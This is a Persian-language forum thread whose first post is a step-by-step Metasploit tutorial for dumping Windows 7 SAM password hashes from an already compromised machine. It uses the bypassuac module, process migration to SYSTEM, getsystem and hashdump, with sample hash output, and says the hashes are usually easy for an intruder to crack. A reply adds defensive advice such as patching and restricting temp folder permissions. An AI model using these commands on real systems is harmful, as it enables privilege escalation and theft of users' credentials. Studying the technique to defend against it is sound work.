اطلاعیه

Collapse
No announcement yet.

بیرون کشیدن اطلاعات پاپگاه sam در ویندوز 7 از راه دور بدون دسترسی فیزیکی

Collapse
X
 
  • Filter
  • زمان
  • Show
Clear All
new posts

  • بیرون کشیدن اطلاعات پاپگاه sam در ویندوز 7 از راه دور بدون دسترسی فیزیکی

    سلام دوستان


    فرض ها :

    1. دسترسی با استفاده از یکی از اکسپلویت های موجود در متااسپلویت گرفته شده و در حال حاضر داخل کنسول متااسپلویت هستیم

    2. سیستم عامل قربانی ویندوز 7 می باشد

    3. پایلود ست شده "windows => meterpreter => reverse_tcp" می باشد .

    Ø­Ú©Ù… :

    بیرون کشیدن اطلاعات داخل پاپگاه SAM در ویندوز 7

    مقدمه :

    بر خلاف ویندوز های قدیمی تر از 7 یعنی ویندوز XP / سرور 2003 و ... در ویندوز 7 این مسئله کمی متفاوت می باشد . دلیل این تفاوت در جلوتر گفته خواهد شد . اما برای مشاهده این تفاوت کافیست با استفاده از متااسپلویت از یک سیستم عامل ویندوز XP دسترسی بگیرید و در داخل کنسول دستور زیر را اجرا کنید :

    کد:
    hashdump
    می بینید که خروجی هش شده ی پسورد یوزر ها می باشد !

    اما در داخل ویندوز 7 این چنین نیست ! یعنی حتی اگر یوزری که دسترسی در آن گرفته شده است از گروه administrators باشد و یا خود یوزر administrator باشد هم نمی توان به طور مستقیم این دستور را اجرا کرد .

    در واقع اشکال کار ( که گفته شد جلوتر بررسی خواهد شد ) به این جا بر میگردد که در ویندوز 7 یا Vista و یا 8 به صورت مستقیم نمی توان حمله ی "جعل مسیر ارتباطی پروتکل های ویندوز" را اجرا کرد . برای این منظور بایپس هایی در نظر گرفته شده که در این جا به ناچار مجبور به بررسی یکی از روش ها هستیم تا بتوانیم کارهای دیگر خودمون رو پیش ببریم

    ابتدا ( با فرض این که یوزری که در آن دسترسی گرفتید از گروه administrators است ) دستور زیر رو اجرا کنید : ( داخل کنسول متااسپلویت )

    کد:
    background
    در مرحله ی بعد به این صورت عمل کنید :

    کد:
    use post/windows/escalate/bypassuac
    برای نمایش آپشن ها هم که از دستور زیر استفاده میکنیم :

    کد:
    show options
    همان طور که میبینید تنها موردی که Required یا ضروری گفته شده مقدار SESSION هست که مشخص کننده شماره ی نشستی است که بین شما و قربانی ایجاد شده است

    برای دیدن نشست های ایجاد شده همراه با شماره ی آن ها از دستور زیر استفاده کنید :

    کد:
    sessions -l
    حالا که شماره ی نشست ایجاد شده رو دیدید آن را به صورت زیر انتخاب کنید :

    کد:
    set session ID
    برای مثال :

    کد:
    set session 1
    حال دستور run را اجرا کنید

    اگر مراحل به صورت موفقیت آمیز در آمد خروجی زیر ( 3644 مثال است ) رو دریافت خواهید کرد :

    کد:
    [+] Migrating to 3644
    [+] Successfully migrated to process
    خط اول حاکی از migrate کردن یا مهاجرت کردن به پروسس شماره ی 3644 را دارد و خط دوم نیز موفقیت آمیز بودن این فرایند را بازگو میکند

    حال کافیست یک اینتر بزنید و دوباره دستور مشاهده ی نشست های ایجاد شده در سیستم را بزنید . یعنی :

    کد:
    sessions -l
    چون در بالا خروجی ای مبنی بر موفقیت أمیز بودن مراحل دریافت کردیم پس در این مرحله خواهیم دید که یک نشست جدید برای ما ایجاد شده است . حال کافیست آن را انتخاب کنیم . به این صورت :

    کد:
    sessions -i ID
    مثلا :

    کد:
    sessions -i 2
    خب تا این جای کار را داشته باشید . در چند خط بالاتر دو خط خروجی دریافت کردیم که اولین خط به این صورت بود :


    کد:
    [+] Migrating to 3644
    حالا بیاید با هم ببینیم اسم این پروسس با شماره ی 3644 چیه ؟! برای این کار دستور زیر را وارد کنید تا تمامی پروسس های در حال اجرا را ببنید :

    کد:
    ps
    خب حالا به دنبال شماره ی پروسس یعنی در این جا 3644 میگردیم . میبنیم که اسم این پروسس notepad.exe ثبت شده است ! کمی با دقت تر نگاه کنید و یوزری که این پروسس رو به اجرا در آورده است رو ببنید . خواهید دید که این یوزر SYSTEM و یا administrator نمی باشد بلکه بلکه بلکه یک یوزر از گروه administrators می باشد



    سوال 1: از کجا مطمئن هستم که این یوزر از گروه administrators است ؟

    جواب :از آن جا که اگر این یوزر عوض گروه ادمین نبود در بالا خروجی موفقیت آمیز بودن مراحل را دریافت نمی کردیم !



    سوال 2 : با توجه به جواب سوال 1 چرا خروجی موفقیت آمیز بودن مراحل را دریافت نمی کردیم ؟

    جواب : در واقع موفقیت آمیز بودن این موضوع در صورتی است که : الف ) یوزر محدود پسورد یک یوزر از گروه ادمین را بداند . ب) این یوزر محدود پسورد یکی از یوزر های گروه ادمین را وارد کند .
    چرا که چرا که برای یوزر محدود در زمان اجرای حمله برای یوزر محدود پیغامی مبنی بر وارد کردن پسورد یکی از یوزر های ادمین یا ادمین ظاهر میشود !

    اگر این دو شرط هم زمان با هم رعایت و اجرا شود در این صورت خروجی موفقیت آمیز بودن مراحل رو دریافت خواهیم کرد . اما با توجه به میانگین حالات و شرایط در 90٪ مواقع یوزر محدود یکی از دو شرط گفته شده را دارا نمی باشد لذا خروجی از جنس ناموفق می باشد .


    برگردیم به موضوع خودمون . گفتیم پروسسی که به آن مهاجرت شده یا migrate شده notepad.exe است و یوزری هم که این پروسس در آن اجرا شده یک یوزر از گروه ادمین است

    اما اما اما با این تفاوت که مثلا یک فایل در یک یوزر عضو گروه ادمین با "Run as administrator" اجرا شده باشد !!! نتیجه این مورد رو به صورت شهودی می توان در دستور زیر دید :

    کد:
    getsystem
    می بینید که تونستید یوزر خودتون رو به system که بالا ترین سطح دسترسی می باشید ارتقاء دهید . این همان یکی از روش های بایپس حمله ی "جعل مسیر ارتباطی پروتکل های ویندوز" می باشد

    اما ما در این جا با دستور getsystem کاری نداریم بلکه می خواهیم خودمون پروسس اجرایی را به یک پروسس دیگر با یک یوزر دیگر ارتقاء دهیم

    برای این منظور ابتدا یک ps بگیرید و به دنبال پروسس هایی با یوزر SYSTEM باشید برای مثال من پروسس lsm.exe را انتخاب می کنم یا پروسس svchost.exe و یا ... توجه کنید که تنها موردی که باید به آن توجه کرد یوزر اجرایی آن پروسس است که این جا باید SYSTEM باشد .

    خب حالا کافیست از پروسس notepad.exe به یکی از پروسس هایی که در بالا گفته شد مهاجرت یا migrate کنیم برای این منظور از دستور زیر استفاده کنیم :

    کد:
    migrate ID
    مثلا :

    کد:
    migrate 500
    اگر مراحل به صورت موفقیت آمیز طی شود خروجی مانند زیر دریافت خواهید کرد :
    کد:
    [*] Migrating to 500...
    [*] Migration completed successfully.
    حالا کافیست دستور hashdump را اجرا کنیم تا مقدار هش شده ی پسورد یوزرها را مشاهده کنیم

    برای مثال :

    کد:
    meterpreter > hashdump 
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    iman:1000:aad3b435b51404eeaad3b435b51404ee:fb59fe2ebea80ec80458ff533094884c:::

    یک روش سریع تر ! :

    سطح دسترسی system رو با دستور زیر بگیرید :

    کد:
    getsystem
    حال عبارت زیر رو اجرا کنید :

    کد:
    run post/windows/gather/hashdump
    که نتیجه همان نمایش هش شده پسورد یوزر ها میباشد !




    خب همان طور که دیدید مرحله به مرحله با تمام جزییات این موضوع رو با هم بررسی کردیم .

    تنها چیزی که میتوان گفت باقی مانده است کرک کردن این هش ها است فقط همین قدر بگم که با توجه به الگوریتم استفاده شده در ویندوز . امکان کرک کردن این هش ها برای یک نفوذگر در 80٪ مواقع راحت می باشد .


    نویسنده : E2MA3N
    منبع : سرچ گوگل !


    اگر موردی یا اشکالی یا ... دیدید حتما مطرح کنید . با احترام
    Last edited by E2MA3N; 12-27-2013, 08:50 AM.

  • #2
    ممنون ایمان جان که وقت گذاشتید برای آموزش

    من چند مورد رو در این ضمینه بگم

    ========================================

    اگه حتی شما تا تاریخ 2012 ویندوزتون رو اپدیت کنید کلیه ی موارد زیر

    bypassuac


    hashdump


    smart_hashdump


    getsystem


    ================================================

    اگه ما بیایم سطح دسترسی های روی پوشه temp رو تنظیم کنیم اینجور برنامه ها نمی تونن بیان این کار ها رو انجام بدن اپدیت هم دقیقا همین کار رو انجام میده خودش برای جلوگیری از بالا بردن سطح دسترسی


    ولی برای اونایی که می خوان از اینجور حملات جلوگیری کنن اول اینکه

    1 - ویندوز رو اپدیت کنن

    2 - بر روس حساب های کاربری administrator ( با اینکه غیر فعال هستش ) و یا هر حساب کاربری که دارای سطح دسترسی Adminsitrators هست پسورد گذاشته بشه

    3 - دسترسی روی پوشه یس temp چک بشه که فقط یوزر خودتون + system بتونه به اون دسترسی داشته باشه نه user های دیگه

    4 - بحث دامپ کردن مموری هم با استفاده از Hashdump برای اونایی که علاقه دارند به این بحث

    در لینک زیر در چندین پارت توضیح داده شده

    http://bernardodamele.blogspot.com/2...rd-hashes.html


    ================================================== ============

    ممنون از ایمان عزیز بابت آموزش هایی که میزارن
    ...

    Comment

    Working...
    X